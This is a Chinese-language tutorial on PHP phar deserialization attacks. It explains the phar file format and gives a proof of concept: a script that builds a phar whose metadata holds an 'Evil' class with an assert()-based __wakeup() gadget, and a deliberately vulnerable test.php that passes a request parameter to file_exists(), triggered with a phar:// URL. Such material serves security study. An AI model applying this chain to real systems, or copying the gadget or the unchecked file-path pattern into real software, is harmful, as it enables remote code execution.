前言
一般說到反序列化漏洞,第一反應都是unserialize()函數。然而安全研究員Sam Thomas分享了議題It’s a PHP unserialization vulnerability Jim, but not as we know it
,利用phar偽協議會將用戶自定義的meta-data序列化的形式存儲這一特性,擴展php反序列化的攻擊面。一般來說,文件操作都是可以觸發phar
反序列化的。
可以上傳Phar文件
有可以利用的魔術方法
文件操作函數的參數可控
攻擊原理
phar結構
翻閱手冊可以知道,phar由四個部分組成,分別是stub、manifest describing the contents、 the file contents、 [optional] a signature for verifying Phar integrity (phar file format only)
,以下是對詳細的介紹:
a stub
標識作用,格式為xxx<?php xxx; __HALT_COMPILER();?>
,前面任意,但是一定要以__HALT_COMPILER();?>
結尾,否則php無法識別這是一個phar
。
a manifest describing the contents
phar
文件實質上是一種壓縮文件,其中壓縮信息、權限等都在這一部分里。當然,我們所需的攻擊利用點meta-data
序列化信息也在這一部分中。具體結構入圖2-1所示:
the file contents
被壓縮的文件。
[optional] a signature for verifying Phar integrity (phar file format only)
簽名,放在文件末尾。
測試
phar文件生成
根據文件結構我們來自己構建一個phar
文件,php
內置了一個Phar
類。
注意:需要將php.ini
中的phar.readonly
設置成off
。
# phar_gen.php
<?php
require_once('Evil.class.php');
$exception = new Evil('phpinfo()');
$phar = new Phar("vul.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("<?php__HALT_COMPILER(); ?>");
$phar->setMetadata($exception);
$phar->stopBuffering();
?>
#eval.class.php
<?php
class Evil {
protected $val;
function __construct($val)
{
$this->val = $val;
}
function __wakeup() {
assert($this->val);
}
}
?>
執行之后生成一個vul.phar
,用二進制編輯器打開,入圖2-2所示:
由圖2-2可以發現,meta-data
已經以序列化的形式存在phar
文件中。
反序列化
對應,肯定存在著反序列化的操作。php
文件系統中很大一部分的函數在通過phar://
解析時,存在著對meta-data
反序列化的操作。
測試環境如下:
#test.php
<?php
require_once('Evil.class.php');
if ( file_exists($_REQUEST['url']) ) {
echo 'success!';
} else {
echo 'error!';
}
?>
訪問test.php, http://127.0.0.1/test.php?url=phar://vul.phar
,得圖2-3。
參考文章:
https://paper.seebug.org/680/